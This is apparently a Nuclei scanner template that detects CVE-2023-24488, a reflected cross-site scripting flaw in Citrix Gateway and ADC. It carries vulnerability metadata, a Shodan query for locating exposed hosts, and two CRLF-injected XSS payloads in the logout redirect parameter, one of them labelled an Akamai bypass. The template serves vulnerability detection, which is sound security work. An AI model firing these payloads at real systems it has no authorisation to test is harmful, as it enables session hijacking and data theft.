id: CVE-2023-24488

info:
  name: Citrix Gateway and Citrix ADC - Cross-Site Scripting
  author: johnk3r,DhiyaneshDk
  severity: medium
  description: |
    Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
    - https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24488
    - https://twitter.com/infosec_au/status/1674786106381070342
    - https://twitter.com/bxmbn/status/1675250259608449026
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24488
    cwe-id: CWE-79
    epss-score: 0.0101
    epss-percentile: 0.8202
    cpe: cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: gateway
    shodan-query: title:"Citrix Gateway"
  tags: cve2023,cve,citrix,xss,adc

http:
  - method: GET
    path:
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E'
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <body x='&'onload="(alert)('citrix akamai bypass')">
          - <script>alert(document.domain)</script>
        condition: or

      - type: word
        part: body
        words:
          - "Content-Type: text/html"

      - type: status
        status:
          - 302
# digest: 4a0a00473045022100b9fde4e5a98c376353cf072f935c8a0b049c84919585134c7a52d0eb9623953f022000d7a1f8d0dad24a1042be1bc800c8bf3322dcd62b54fea3327e0face361a222:922c64590222798bb761d5b6d8e72950